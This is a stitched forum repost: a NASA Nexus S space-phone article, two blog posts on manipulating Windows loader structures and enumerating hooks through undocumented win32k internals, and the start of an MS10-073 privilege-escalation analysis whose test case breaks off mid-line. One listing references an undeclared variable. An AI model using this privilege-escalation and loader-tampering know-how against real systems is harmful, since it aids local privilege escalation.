hardware to work with your own is not knowing exactly what’s inside. “When you go with something that already exists, there's a lot of reverse engineering that has to happen,” explained Micire. “Especially in the case of phones: as much as I love our phone manufacturers, they're not always forthcoming about what's actually under the hood.” In this particular case, the Nexus S had to be forced into permanent airplane mode before it could go up into space, but that couldn't involve a software solution. "When you get on an airplane and they tell you that you have to put it into airplane mode because it'll cause interference with the avionics and stuff—same things on ISS, except they require it to be a hardware switch," said Micire. At the time, before the phone had even premiered, iFixit posted its teardown of the Nexus S. Micire and his team were able to essentially use the high-resolution photos on the site to figure out which chip they had to disengage to disable the cellphone capabilities of the phone. They then waited in line on launch day to secure two phones so that they could perform their own “cellphone lobotomies” to physically remove the offending component. “We almost destroyed the first phone, but by the second phone we figured out which chip to pull,” recalled Micire. “It [was the] TXRX amplifier.” From there, all the team had to do was test the phone to prove to the flight safety crew that it wouldn't cause interference on station. It passed. “The phone is none the wiser,” said Micire. “It just thinks it doesn't have cell phone service.” Space only takes AA batteries Enlarge / The battery pack strapped on to the Nexus S. NASA Micire and his team also had to figure out how to power up the phone without using a lithium-ion battery pack. “We were told very early on that getting a lithium-ion battery certified for the station was going to probably be greater than two years,” he explained. But the team had only two years to get this project off the ground. Alkaline batteries had already been approved for space travel because they degrade “more nicely,” as Micire put it. Rather than explode and catch on fire, alkaline batteries will instead leak electrolyte fluid, which is easier to contain. The team on the Intelligent Robotics Group developed a battery pack for the Nexus S that would replace the lithium ion one with six AA batteries. The pack is then wrapped in a felt-like material that is specifically made to absorb any leakage that might occur, and a few Velcro patches are attached to it so that it can stay fixed to the SPHERES. Enlarge / A closer look at the AA battery pack strapped on to the Nexus S. NASA The cellular chip and battery pack weren't the only necessary hardware hacks. If the Nexus One’s glass touchscreen were to shatter in space, the lack of gravity would leave all those broken shards of glass up in the air. It's not bare feet in microgravity the Intelligent Robotics team is trying to protect: it's lungs. Micire explained that the scenario would be hazardous. “Those tiny little shards are just floating within the ISS and now you have astronauts that are just breathing them in." The team figured out that they could use a type of Teflon tape to cover up the chassis of the Nexus S to simultaneously protect the phone and contain any broken pieces from floating about. “You kind of have to take the world that we live in and rework all of the engineering requirements,” Micire reflected. “I never would have thought of broken glass as an inhalant.” Dealing with drivers—and sensors The Nexus S runs an app that records activity on the gyroscope, accelerometer, and 3D compass. Florence Ion As with all types of devices, drivers can be the most finicky part of getting a project up and running. There were a multitude of benefits for the team if it stuck with Android’s Nexus line of phones, the most obvious being that there weren't any setbacks that might come with dealing with customizations performed by OEM manufacturers. “With the Nexus line of phones, you get the full Android open source release source code base—you don’t get that with a lot of the other Android platforms out there,” said Micire. He explained that if it hadn't been for the “pure” Android experience, the team wouldn't have been able to get around some of the driver issues that plague other Android handsets. One of the issues was getting the phone to sync up with the computers in service on the ISS. The ISS currently uses ThinkPad T61p laptops loaded with Windows XP Service Park 3, and when the Nexus S was plugged into the notebooks, Windows asked for a driver disk—a bit of a problem when there is limited time to get official drivers approved. Micire and his team wrote an application that puts the phone into mass-storage mode without a USB cable needing to be plugged into it first. “We figured out the mass storage identified on these phones don’t require a drive—it just works,” said Micire. “Any other phone where we wouldn't have been able to do our own firmware build [would have left us] stuck with the default configuration.” Before the Nexus S was ready to work, the performance of components like the gyroscope, accelerometer, and 3D compass also needed testing to confirm that they worked in microgravity. The team used a data logger application (which is actually available in the Google Play store) to record the data on the sensors and gather measurements. “[by recording] we were able to show that the sensors did behave as we expected; the accelerometer, it turns out, is not a sensor we can use very well on the SPHERES. But the rest of the sensors actually work really well.” What's next? Since the project began in late 2010, it's moved rather quickly despite some of the aforementioned software and hardware hassles. “We went from concept on the back of a napkin to full flight, to delivering our flight units in about six months,” said Micire. “Normally for any major piece of hardware that's going up on station, you're usually talking about a year to two-year process." The team was able to quickly get the project engineered and "fabbed up," as Micire put it, because they leveraged a lot of the stuff that was already built into the phones. The Nexus S handsets made upgrading the “brain” of the SPHERES a less tedious process, not to mention a more affordable one. But despite NASA Ames’ close proximity to Google's headquarters—Moffett Field is only three miles away—the team at the Intelligent Robotics Group has to purchase their own handsets, though sometimes they do receive help when tinkering with Android from their friends at Google. “One of the catalysts for us being able to successfully downselect and use Android as successfully as we have is because Google is just over the fence from us here,” said Micire. “We created very early on this wonderful partnership with folks both inside and outside.” The Intelligent Robotics Group is currently looking at building the next generation of the Smart SPHERES with a couple of Nexus 4 handsets they have managed to secure. Micire mentioned that the Human Exploration Telerobotics project has also fostered a few relationships with different handset manufacturers for future development, though he was not at liberty to say who. In the end, the project was possible due to Android’s usefulness beyond mobile phones. "We made the right decision by going with Android because the ability to remove the lithium battery and have it run off of alkaline batteries I think would have been a lot more difficult with the Apple products... and having it work without a driver under Windows XP," said Micire. Earlier he had mentioned how impressed he was by how Android was being embraced by the embedded developer community: "you just get so much that comes for free with the platform.” Micire later added: “It’s humbling to say that even NASA can’t outrun the advancements that are happening with the mobile phone.” Sursa: How NASA got an Android handset ready to go into space | Ars Technica

[h=3]Process Thread Creation Notification – The Easy Way[/h]May 26, 2012 adeyblue @ 3:22 am If what you’re writing already requires a dll, or you can leverage an existing one then you’re already set and can use the fact that DllMain gets called when threads are created and destructed to your advantage. If you’re not, or can’t then you’re pretty much stuck for an answer. Conventional wisdom on the web seems to revolve around hooking CreateThread. However, with several methods of creating threads called at various levels of the Win32 system, that isn’t always sufficient, especially if you want to execute code in the thread context. Dll thread_attach notifications work because when threads are created and torn down, ntdll loops around the internal structures corresponding to each module loaded in the process and calls their entry point if they meet certain criteria. The structure for the exe is included in the enumeration but as it doesn’t identify as a dll, its entry point isn’t called. The thing to do then, is modify it to a) look like a dll and make it think our entry point is a DllMain. Usually this poking around officially undocumented stuff is at least a slight pain (after all you’re not meant to be touching it), in this case however the structure is a single call away. // in ntdll.dll EXTERN_C NTSYSAPI NTSTATUS NTAPI LdrFindEntryForAddress( HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppEntry ); You give it an address in a module, and it gives you a pointer to the structure. Seems like a fair trade to me. Here’s what’s in it. struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; This is the XP version layout. More recent versions have appended extra fields, but we ignore them. The three fields of interest are BaseAddress, EntryPoint, and Flags. Entrypoint and Flags are self-explanatory, BaseAddress though? Yep, as well as checking the flags, the looping code also excludes those whose BaseAddress is the same as GetModuleHandle(NULL). This might sound like it could be a bit disabling to the program, especially if you know that GetModuleHandle can also loop over these structures. It isn’t in practice thought, only affecting calls to GetModuleHandle(), the value returned from GetModuleHandle(NULL) is cached elsewhere so modifying the entry leaves it unaffected. Setting the new entrypoint to a DllMain-a-like is easy enough, and the BaseAddress value can be changed to BaseAddress += 2 (this enables it to still be used in kernel32 functions if anybody ever does GetModuleHandle()), yet we’ve neglected the flag values. // // Loader Data Table Entry Flags, from ReactOS // #define LDRP_STATIC_LINK 0x00000002 #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_LOAD_IN_PROGRESS 0x00001000 #define LDRP_UNLOAD_IN_PROGRESS 0x00002000 #define LDRP_ENTRY_PROCESSED 0x00004000 #define LDRP_ENTRY_INSERTED 0x00008000 #define LDRP_CURRENT_LOAD 0x00010000 #define LDRP_FAILED_BUILTIN_LOAD 0x00020000 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 #define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 #define LDRP_IMAGE_NOT_AT_BASE 0x00200000 #define LDRP_COR_IMAGE 0x00400000 #define LDRP_COR_OWNS_UNMAP 0x00800000 #define LDRP_SYSTEM_MAPPED 0x01000000 #define LDRP_IMAGE_VERIFYING 0x02000000 #define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 #define LDRP_ENTRY_NATIVE 0x08000000 #define LDRP_REDIRECTED 0x10000000 #define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 #define LDRP_MM_LOADED 0x40000000 #define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 There are a lot of them, yet we only need concern ourselves with three. LDRP_IMAGE_DLL and LDRP_PROCESS_ATTACH_CALLED need to be set to signal that we are a dll and that we’ve had our init code called. LDRP_DONT_CALL_FOR_THREADS needs to be clear, because being called for threads is exactly what we’re after! So, putting it all into motion: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winternl.h> // for Unicode_string #include <cstdio> #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; BOOL APIENTRY ThreadAndShutdownNotify(HMODULE hMod, DWORD reason, PVOID pDynamic) { char buffer[100]; switch(reason) { case DLL_THREAD_ATTACH: { sprintf(buffer, "Thread attach : %lu\n", GetCurrentThreadId()); } break; case DLL_THREAD_DETACH: { sprintf(buffer, "Thread detach : %lu\n", GetCurrentThreadId()); } break; case DLL_PROCESS_DETACH: { sprintf(buffer, "Process detach : %lu\n", GetCurrentThreadId()); } break; } OutputDebugStringA(buffer); puts(buffer); return TRUE; } DWORD WINAPI WaitThread(PVOID p) { return WaitForSingleObject((HANDLE)p, INFINITE); } typedef NTSTATUS (NTAPI*pfnLdrFindEntryForAddress)(HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppLdrData); int main() { HMODULE hNtdll = GetModuleHandle(L"ntdll.dll"); pfnLdrFindEntryForAddress LdrFindEntryForAddress = (pfnLdrFindEntryForAddress)GetProcAddress(hNtdll, "LdrFindEntryForAddress"); LDR_DATA_TABLE_ENTRY* pEntry = NULL; if(NT_SUCCESS(LdrFindEntryForAddress(GetModuleHandle(NULL), &pEntry))) { pEntry->EntryPoint = (PVOID)&ThreadAndShutdownNotify; pEntry->Flags |= LDRP_PROCESS_ATTACH_CALLED | LDRP_IMAGE_DLL; pEntry->Flags &= ~(LDRP_DONT_CALL_FOR_THREADS); pEntry->BaseAddress = (PVOID)(((ULONG_PTR)pEntry->BaseAddress) + 2); } else { return puts("Something's strange, in the neighbourhood, and my phone doesn't work!!"); } HANDLE hEvent4 = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hThread[10]; for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { hThread[i] = CreateThread(NULL, 0, &WaitThread, hEvent4, 0, NULL); } SetEvent(hEvent4); WaitForMultipleObjects(ARRAYSIZE(hThread), hThread, TRUE, INFINITE); for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { CloseHandle(hThread[i]); } CloseHandle(hEvent4); return 0; } And running it produces: Thread attach : 4208 Thread attach : 3052 Thread attach : 2076 Thread attach : 3144 Thread attach : 1476 Thread attach : 516 Thread attach : 4224 Thread attach : 4320 Thread attach : 3620 Thread attach : 1280 Yay… wait a minute. Where are the detach and shutdown notifications? So much for mimicking DllMain. See those LIST_ENTRY structures at the head of the LDR_DATA_TABLE_ENTRY structure, those are the three different orders in which the module entries are linked. LoadOrder is obvious, whereas non-obviously MemoryOrder is the same as LoadOrder, and InitializationOrder is the order that the DllMain’s were called…, ah. Our LDR_DATA_TABLE_ENTRY is the first entry of the first two lists however since it isn’t a kosher dll, it’s not present in the third. ThreadAttach notifications work since ntdll walks the LoadOrder module list when calling entry points for thread attaches. The other notifications don’t work, since ntdll walks the InitOrder list for those. The solution therefore is to add ourself to that one, and that’s quite a simple op too. Where we should insert outselves is up to you, before kernel32 seems as good a place as any though. In summation: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winternl.h> // for Unicode_string #include <cstdio> #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; BOOL APIENTRY ThreadAndShutdownNotify(HMODULE hMod, DWORD reason, PVOID pDynamic) { char buffer[100]; switch(reason) { case DLL_THREAD_ATTACH: { sprintf(buffer, "Thread attach : %lu\n", GetCurrentThreadId()); } break; case DLL_THREAD_DETACH: { sprintf(buffer, "Thread detach : %lu\n", GetCurrentThreadId()); } break; case DLL_PROCESS_DETACH: { sprintf(buffer, "Process detach : %lu\n", GetCurrentThreadId()); } break; } OutputDebugStringA(buffer); puts(buffer); return TRUE; } DWORD WINAPI WaitThread(PVOID p) { return WaitForSingleObject((HANDLE)p, INFINITE); } void InsertIntoList(LIST_ENTRY* pOurListEntry, LIST_ENTRY* pK32ListEntry) { // dll detach are called in reverse list order // so after Kernel32 is before it in the list // our forward link wants to point to whatever is after // k32ListEntry and our back link wants to point to pK32ListEn LIST_ENTRY* pEntryToInsertAfter = pK32ListEntry->Flink; pOurListEntry->Flink = pEntryToInsertAfter; pOurListEntry->Blink = pEntryToInsertAfter->Blink; pEntryToInsertAfter->Blink = pOurListEntry; pOurListEntry->Blink->Flink = pOurListEntry; } typedef NTSTATUS (NTAPI*pfnLdrFindEntryForAddress)(HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppLdrData); int main() { HMODULE hNtdll = GetModuleHandle(L"ntdll.dll"); pfnLdrFindEntryForAddress LdrFindEntryForAddress = (pfnLdrFindEntryForAddress)GetProcAddress(hNtdll, "LdrFindEntryForAddress"); LDR_DATA_TABLE_ENTRY* pEntry = NULL; if(NT_SUCCESS(LdrFindEntryForAddress(GetModuleHandle(NULL), &pEntry))) { pEntry->EntryPoint = (PVOID)&ThreadAndShutdownNotify; pEntry->Flags |= LDRP_PROCESS_ATTACH_CALLED | LDRP_IMAGE_DLL; pEntry->Flags &= ~(LDRP_DONT_CALL_FOR_THREADS); pEntry->BaseAddress = (PVOID)(((ULONG_PTR)pEntry->BaseAddress) + 2); LDR_DATA_TABLE_ENTRY* pK32Entry = NULL; LdrFindEntryForAddress(GetModuleHandle(L"kernel32.dll"), &pK32Entry); InsertIntoList(&pOurEntry->InInitializationOrderModuleList, &pK32Entry->InInitializationOrderModuleList); } else { return puts("Something's strange, in the neighbourhood, and my phone doesn't work!!"); } HANDLE hEvent4 = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hThread[10]; for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { hThread[i] = CreateThread(NULL, 0, &WaitThread, hEvent4, 0, NULL); } SetEvent(hEvent4); WaitForMultipleObjects(ARRAYSIZE(hThread), hThread, TRUE, INFINITE); for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { CloseHandle(hThread[i]); } CloseHandle(hEvent4); return 0; } Output: Thread attach : 4856 Thread attach : 3896 Thread attach : 4140 Thread attach : 3488 Thread attach : 188 Thread detach : 188 Thread attach : 3272 Thread attach : 3376 Thread attach : 1632 Thread detach : 4856 Thread attach : 4120 Thread detach : 3896 Thread detach : 4140 Thread detach : 3488 Thread attach : 3484 Thread detach : 3272 Thread detach : 3376 Thread detach : 1632 Thread detach : 4120 Thread detach : 3484 Process detach : 4720 Yay, for realsies this time. So that’s how you do it, with help from some jiggery poker. No hooks, no external code, just pure, clean, faffing around. Sursa: Process Thread Creation Notification – The Easy Way

Hookers – Underneath the Sheets July 18, 2011 adeyblue @ 7:12 am Introduction Finding Hooks Finding Desktops Finding Threads Hook Information Dll Name Process Name Copying to User Mode Wrapup/TL:DR Download MsgHookLister Introduction We all need ideas. Whether you’ve just finished something, or are getting a little bit bored with your current project you can’t help but let your mind drift to the next cool thing you’ll create. Sometimes the ideas come thick and fast, other times they’re like gold dust. When I’m in the second camp, and reading the various boards I read, I will quite happily steal other peoples. One such board is Sysinternals’. They do winternals, I do winternals, they have a suggestion section and I want ideas. It’s a perfect fit. On a previous visit, one of the suggestions was a program that could list active hooks. Given my previous excursions into user/win32k territory, it didn’t seem like it’d be too hard. And apart from the digging around assembly listings for the structure offsets, it wasn’t, and that was more time-intensive than difficult. At any rate, I am now the owner of 14 versions of win32k.sys’ symbols. I don’t even have 14 games on my computer! Rather than just dumping a download link (here) and what it does (list active hooks), I thought I’d deconstruct the hows and why’s of the kernel side of the query. Needless to say, much of what follows is discussion of undocumented things. I am aware this makes Raymond Chen cry. Sorry fella. Finding hooks Compared to other operations, enumerating the installed hooks is quite easy. Thread specific hooks are recorded in a win32k per-thread data structure tagged, rather imaginatively, as THREADINFO[1]. This is essentially an ETHREAD/TEB like structure but one tailored specifically for user and gdi information. One of its members (aphkStart) is a 16 element array of pointers, individually they either point to NULL, or the head of a linked list of HOOK structures. Enumerating the hooks is simply a measure of walking down those chains. For convenience, and probably so that iteration isn’t required to see if any hooks are set, the THREADINFO contains another member, fsHooks, which is a bitfield. If a bit is on, the corresponding index in the hook array is valid. Instead of 33 comparisons (16 for NULL and 17 for a for-loop), telling if there are hooks requires just one, nifty! Global hooks, which are per desktop[2], are also stored in a per-object structure, also imaginatively named (DESKTOPINFO), and are also stored in an array with an accompanying bitfield. Bridging the two is pDeskInfo, a member of THREADINFO which points to its owning DESKTOPINFO. Despite the bellyaching in the intro, working with all these undocumented structures isn’t actually too hard in practice. The Windows 7 symbols for win32k.sys include their layouts, which is nice. The symbols for the Vista/Server 2008 era don’t though, this is where the assembly studying comes and saves the day. Knowing what these structures look like is one thing, getting at them is another… Finding Desktops You may know that at the top of Windows UI architecture is the humble windowstation[3]. Not much is known about these creatures (read as: nobody needs to care) except that they are a glorified container of desktops. It is these delilahs of display that contain the actual user objects such as windows, hooks, menus etc. As mentioned, threads are bound to one desktop and which one can be determined by following a pointer. Desktop objects are stored in a singly linked list, so by following another pointer in the desktop structure rpDeskNext, you can enumerate desktops under a windowstation. Like threads, each desktop has a pointer to its owning windowstation which is also part of a singularly linked list. Everything’s fine and dandy, except that there are no guarantees the results of thread->desktop or desktop->windowstation find the heads of their respective lists. After all, there can only be one head before everybody has to fall into line. One method, and the one I used in the Desktop Heap Monitor update is to query the \Windows\Windowstations and \Sessions\\Windows\Windowstations object directories via NtOpenDirectoryObject and NtQueryDirectoryObject. The reward for this is a directory handle and an object name which can be redeemed against ObOpenObjectByName for an object handle, which can be finally be exchanged for a pointer with ObReferenceObjectByHandle. It’s relatively lots of work, but mostly documented. The alternative method which I only stumbled upon recently is much easier and much more hacky. One of win32k.sys’s globals is named grpWinStaList, which just happens to be the head of the windowstation list. As windowstation objects (named as tagWINDOWSTATION) contain a pointer to the head of the desktop list, iterating through them all is a piece of cake. Finding Threads Finding threads takes the finesse approach of the desktops and throws it down the kitchen sink. Mixed metaphors aside, there’s nothing more to it than using ZwQuerySystemInformation(SystemProcessInformation) to enumerate running processes. What MSDN conceals about the SYSTEM_PROCESS_INFORMATION structure is that at the end of it is an array of SYSTEM_THREAD_INFORMATION structures, one for each thread in that process. The thread id contained in the struct is turned into an ETHREAD object by the above board PsLookupThreadByThreadId. Failure means the thread has probably exited, which is no biggie. Interrogation of the thread continues with PsGetThreadWin32Thread, a good cop who’ll smuggle out any THREADINFO pointer in the threads possession. Failure here isn’t a double cross, not all threads interact with the presentation side of Windows and those that don’t don’t have a value to return. NTSTATUS stat = STATUS_SUCCESS; const SYSTEM_THREAD_INFORMATION* pThreadInfo = process.Threads, *pEnd = pThreadInfo + process.ThreadCount; while(pThreadInfo != pEnd) { PETHREAD pThread = NULL; if(NT_SUCCESS(PsLookupThreadByThreadId(pThreadInfo->ClientId.UniqueThread, &pThread))) { __try { PVOID pWin32Thread = PsGetThreadWin32Thread(pThread); if(pWin32Thread) { stat = getWin32ThreadHooks(pWin32Thread, listHead, pLookaside); } } // ensure reference is released no matter what happens __finally { ObDereferenceObject(pThread); } } ++pThreadInfo; } With the THREADINFO and offsets in hand, the hook information is a dereference away… Hook Information Having gotten our grubby mitts on them, we find HOOK structures record most of the relevant information themselves: struct tagHOOK { THRDESKHEAD head; // info about the creator struct tagHOOK* phkNext; // next entry in linked list int iHook; // WH_ hook type UINT_PTR offPfn; // RVA to hook function in ihmod library UINT flags; // HF_ flags (GLOBAL, ANSI) int ihmod; THREADINFO* ptiHooked; // the hooked thread PVOID rpDesk; // saved desktop pointer ULONG nTimeout :7; ULONG fLastHookHung :1; }; Directly stored is the originating thread (in the head member), the hooked thread, and (via an offset) the hook function. Noticeable by its absence, for those hooks which specify one, is the lack of any instant dll identification. Dll Name By its’ name, ihmod hints at something to do with HMODULEs, and indeed it is. However, it’s nothing as simple as an index into an array of names or HMODULEs, nor can it be used by any function exported by the kernel or win32k. Undocumented is as undocumented does, ihmod is actually an index into another global of win32k.sys named aatomSysLoaded, an array of ATOMs. As mentioned, there are no functions exported that manipulate or query this array, no, more “dirty” methods are required. The dirtyness doesn’t stop once you’ve indexed the array (either by dereferencing a hardcoded offset or querying from the symbols). So what purpose does this ATOM have? Much like you can use GlobalAddAtom or AddAtom in user mode to essentailly map a string to an ATOM, win32k does too in kernel mode with the filename of the HMODULE passed to SetWindowsHookEx. Remember I said there’s more hacking after the array indexing? It’s not strictly necessary. The user-mode function GetClipboardFormatName can turn that atom into a dll name[4]. MsgHookLister goes the whole hacky way though and uses the win32k function UserGetAtomName, just because well, what’s one extra bit of hackery in a thing built completely on top of it? // abridged WCHAR* GetDllName(PVOID pHeap, int atomIndex) { // negative indexes are seen for LowLevel hooks // where there isn't an injected dll if(atomIndex < 0) return NULL; // turn the index to an ATOM ATOM actualAtom = aatomSysLoaded[atomIndex]; WCHAR* pNameBuf = RtlAllocateHeap(pHeap, HEAP_ZERO_MEMORY, MAX_PATH * sizeof(WCHAR)); if(pNameBuf) { ULONG charsNeeded = UserGetAtomName(actualAtom, pNameBuf, MAX_PATH); if(charsNeeded != 0) { // this is just a normal atom that's been stringified ignore it if(pNameBuf[0] == L'#') { RtlFreeHeap(pHeap, 0, pNameBuf); pNameBuf = NULL; } } } return pNameBuf; } That’s almost everything, but thread ids can be made much more pallatable to the client app… Process Name The only other thing in the output not covered by the struct is the process name. Again, this can be gotten from user mode, and by looking in the PEB. However, in a rare bout of playing by the rules, MsgHookLister uses PsThreadToProcess to get an EPROCESS from an ETHREAD and PsGetProcessImageFileName to get the name string that is stored within it. void CopyThreadProcessName(PETHREAD pThread, char* pNameBuffer, ULONG bufLen) { PAGED_CODE(); // this doesn't need releasing PEPROCESS pProc = PsThreadToProcess(pThread); strncpy(pNameBuffer, (char*)PsGetProcessImageFileName(pProc), bufLen); pNameBuffer[bufLen - 1] = 0; } // // call site // HOOK* pHookIter = ... // the EThread offset is the same either way, // so it's OK to leave this as THREADINFO7 even on Vista THREADINFO7* pSettingThread = static_cast<THREADINFO7*>(pHookIter->head.pti); if(pSettingThread) { hook.dwSettingThread = HandleToULong(PsGetThreadId(pSettingThread->pEThread)); CopyThreadProcessName(pSettingThread->pEThread, hook.settingProcess, ARRAYSIZE(hook.settingProcess)); } Copying to User Mode After collating all the relevant hook data, it needs to be marshalled somewhere user mode can access it. Normal Windows API calls dealing with this have the caller pass a buffer and a size, with the minimum length returned if the buffer is insufficient. There’s nothing wrong with this method, but if the information takes a long time to gather or is volatile this isn’t the most efficient approach. With that in mind, the approach taken by MsgHookLister is to always return this: typedef struct WindowsHookInfo_ { ClientHookArray* pHookInfoArray; } WindowsHookInfo; Instead of having the caller call back with an enlarged buffer, the driver makes a new heap in the calling process, allocates all the memory it needs from it, and then passes the heap handle back to the user mode app. When it’s finished, the app cleans up by freeing the memory and destroying the heap. A credible alternative to the heap is to allocate a glob of virtual memory and manage it yourself. It’s so credible I should’ve actually written it that way. To make the heap method work, it has to be created with the HEAP_NO_SERIALIZE flag because heaps created through the kernel use ERESOURCEs for locking, while user mode uses CRITICAL_SECTIONs, and they aren’t compatible. Oh well, some would say one last hack is a fitting ending to the call’s journey. With that, the ride is over. The request has been serviced and the driver is ready to remorselessly go through the whole process again and again at the clients behest. Wrapup It did list queued window messages, now it lists active thread and global hooks too, it’s MsgHookLister. If this were Sysinternals it’d have a nice shiny gui but I’m not so it’s command line only. There are output samples and a video of it in action here. You can download the package here, it comes with x86 and x64 binaries and source code that puts the entirety of the above text into a ‘I could’ve figured that out’ category. Notes:[1]: The Win32Thread value reported by WinDbg when you use !process or !thread is the address of the THREADINFO. With a Win7 target, ‘dt win32k!tagTHREADINFO [address]‘ will display the structure’s contents. [2][3]: More information on windowstations and desktops can be found starting here [4]: GetClipboardFormatName can also be used to get the name for a value returned from RegisterWindowMessage. Clipboard format names, window messages, window classes and these hook dll name atoms all share the same atom table. You cannot use (Global)GetAtomName, these have usermode only atom tables. Sursa: Hookers – Underneath the Sheets

[h=2]MS10-073: Windows Class Handling Gone Wrong[/h] Posted by Tarjei Mandt on December 1, 2010 In MS10-073, Microsoft addressed a privilege escalation vulnerability (CVE-2010-2744) in windows class data handling, affecting all supported versions of Windows. In this blog post, we will examine the details of the vulnerability as well as the changes made by the patch. Note that this vulnerability differs from the EoP used by Stuxnet on XP/2000, also addressed in MS10-073. [h=3]Windows User Objects[/h] Windows manages all user interface entities such as windows, menus, and cursors as objects. In fact, win32k has its own dedicated handle table for keeping track of all active user objects in a given session. One of the most important objects is undeniably the window object. On Windows 7, win32k.sys conveniently exports symbol information for the window object structure (win32k!tagWND), shown below. typedef struct tagWND { /*0x000*/ struct _THRDESKHEAD head; /*0x014*/ ULONG32 state; /*0x018*/ ULONG32 state2; /*0x01C*/ ULONG32 ExStyle; /*0x020*/ ULONG32 style; /*0x024*/ VOID* hModule; /*0x028*/ UINT16 hMod16; /*0x02A*/ UINT16 fnid; /*0x02C*/ struct _tagWND* spwndNext; /*0x030*/ struct _tagWND* spwndPrev; /*0x034*/ struct _tagWND* spwndParent; /*0x038*/ struct _tagWND* spwndChild; /*0x03C*/ struct _tagWND* spwndOwner; /*0x040*/ struct _tagRECT rcWindow; /*0x050*/ struct _tagRECT rcClient; /*0x060*/ PVOID lpfnWndProc; /*0x064*/ struct _tagCLS* pcls; /*0x068*/ struct _HRGN__* hrgnUpdate; /*0x06C*/ struct _tagPROPLIST* ppropList; /*0x070*/ struct _tagSBINFO* pSBInfo; /*0x074*/ struct _tagMENU* spmenuSys; /*0x078*/ struct _tagMENU* spmenu; /*0x07C*/ struct _HRGN__* hrgnClip; /*0x080*/ struct _HRGN__* hrgnNewFrame; /*0x084*/ struct _LARGE_UNICODE_STRING strName; /*0x090*/ INT32 cbwndExtra; /*0x094*/ struct _tagWND* spwndLastActive; /*0x098*/ struct _HIMC__* hImc; /*0x09C*/ ULONG32 dwUserData; /*0x0A0*/ struct _ACTIVATION_CONTEXT* pActCtx; /*0x0A4*/ struct _D3DMATRIX* pTransform; /*0x0A8*/ struct _tagWND* spwndClipboardListenerNext; /*0x0AC*/ ULONG32 ExStyle2; } WND, *PWND; In our case, there are a few fields we want to pay closer attention to. The FNID, stored at offset 0x2A, is a constant defining the function identifier of the associated class. The FNID can be used to call any system class window procedure via NtUserMessageCall, and is also frequently used by Windows to determine if a system class window has been properly initialized (set to non-null). Also of interest is the class object pointer (pcls), stored at offset 0×64. The class defines common window attributes as well as the number of extra bytes reserved for each window (mirrored in cbwndExtraat offset 0×90). This data immediately follows a window object in memory and can be application defined or used by a system class window for class-specific data. In order to update the extra data associated with each window, an application may call SetWindowLongPtr with nIndex set to a zero-based offset. As system class windows also store kernel pointers in the extra window memory, validation has to be performed before an operation is permitted. In particular, xxxSetWindowLong (called by NtUserSetWindowLong, for instance) checks the window FNID in order to prevent malicious attempts at updating data used by the kernel. The problem with this approach is that the FNID starts out as null, hence may allow an attacker to to pre-initialize extra data (e.g. via SetWindowsHookEx) before a system class window has been properly initialized. Although this normally shouldn’t be a problem, two system class procedures were found to incorrectly handle already initialized extra window data, leading to exploitable conditions. [h=3]Window Class Handling Vulnerabilities[/h] The menu window system class procedure (xxxMenuWindowProc) is responsible for handling messages sent to menu windows. Upon receiving a WM_NCCREATE message, the menu window attempts to allocate and initialize a popup menu structure (win32k!tagPOPUPMENU), for which it stores a pointer in the extra window memory. However, if this pointer has already been initialized before the WM_NCCREATE message has been sent, the menu window procedure would use the existing pointer instead. As this pointer could have been set manually via SetWindowLongPtr (before the FNID is assigned), an attacker could fully control the popup menu structure, used in subsequent read and write operations. Moreover, destroying the window would result in the attacker controlled pointer being freed. The latter is demonstrated in the following test case. #include <windows.h> int main(int argc, char **argv) { WNDCLASSA Class = {0}; CREATESTRUCTA Cs = {0}; FARPROC MenuWindowProcA; HMODULE hModule; HWND hWindow; Class.lpfnWndProc = DefWindowProc; Class.lpszClassName = "Class"; Class.cbWndExtra = sizeof(PVOID); RegisterClassA(&Class); hModule = 